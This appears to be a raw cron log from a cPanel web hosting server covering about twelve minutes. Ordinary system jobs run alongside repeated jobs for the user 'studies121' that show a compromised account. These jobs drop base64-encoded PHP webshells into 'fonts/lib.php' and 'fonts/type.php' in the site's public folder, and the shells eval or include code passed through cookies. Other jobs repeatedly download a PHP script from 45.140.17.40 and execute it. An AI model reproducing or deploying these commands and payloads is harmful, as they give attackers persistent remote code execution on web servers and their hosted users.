Sep 21 08:05:02 ip-184-168-122-23 CROND[20212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:05:02 ip-184-168-122-23 CROND[20211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:05:02 ip-184-168-122-23 CROND[20213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:05:02 ip-184-168-122-23 CROND[20214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:06:01 ip-184-168-122-23 CROND[20412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:06:01 ip-184-168-122-23 CROND[20416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:06:01 ip-184-168-122-23 CROND[20414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:06:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:06:01 ip-184-168-122-23 CROND[20417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:07:01 ip-184-168-122-23 CROND[20539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:07:01 ip-184-168-122-23 CROND[20540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:07:01 ip-184-168-122-23 CROND[20541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:07:01 ip-184-168-122-23 CROND[20543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:08:01 ip-184-168-122-23 CROND[20678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:08:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:08:01 ip-184-168-122-23 CROND[20680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:08:01 ip-184-168-122-23 CROND[20681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:08:01 ip-184-168-122-23 CROND[20682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:09:01 ip-184-168-122-23 CROND[20791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:09:02 ip-184-168-122-23 CROND[20796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:09:02 ip-184-168-122-23 CROND[20797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:09:02 ip-184-168-122-23 CROND[20794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 08:09:02 ip-184-168-122-23 CROND[20798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:10:01 ip-184-168-122-23 CROND[20927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:10:01 ip-184-168-122-23 CROND[20932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:10:01 ip-184-168-122-23 CROND[20934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:11:01 ip-184-168-122-23 CROND[21139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:11:01 ip-184-168-122-23 CROND[21142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:11:01 ip-184-168-122-23 CROND[21143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:11:01 ip-184-168-122-23 CROND[21144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:12:01 ip-184-168-122-23 CROND[21255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:12:01 ip-184-168-122-23 CROND[21257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:12:01 ip-184-168-122-23 CROND[21260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:12:01 ip-184-168-122-23 CROND[21258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:12:01 ip-184-168-122-23 CROND[21259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:13:01 ip-184-168-122-23 CROND[21471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:13:01 ip-184-168-122-23 CROND[21473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:13:01 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:13:01 ip-184-168-122-23 CROND[21475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:14:01 ip-184-168-122-23 CROND[21596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:14:01 ip-184-168-122-23 CROND[21598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:14:01 ip-184-168-122-23 CROND[21599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:14:01 ip-184-168-122-23 CROND[21600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:14:01 ip-184-168-122-23 CROND[21601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:15:01 ip-184-168-122-23 CROND[21740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:15:01 ip-184-168-122-23 CROND[21741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:15:01 ip-184-168-122-23 CROND[21743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:15:01 ip-184-168-122-23 CROND[21744]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 08:15:01 ip-184-168-122-23 CROND[21753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:15:01 ip-184-168-122-23 CROND[21752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:15:01 ip-184-168-122-23 CROND[21751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:16:01 ip-184-168-122-23 CROND[21962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:16:01 ip-184-168-122-23 CROND[21961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:16:01 ip-184-168-122-23 CROND[21963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:16:01 ip-184-168-122-23 CROND[21964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:16:01 ip-184-168-122-23 CROND[21965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:16:01 ip-184-168-122-23 CROND[21966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 08:17:02 ip-184-168-122-23 CROND[22084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:17:02 ip-184-168-122-23 CROND[22086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
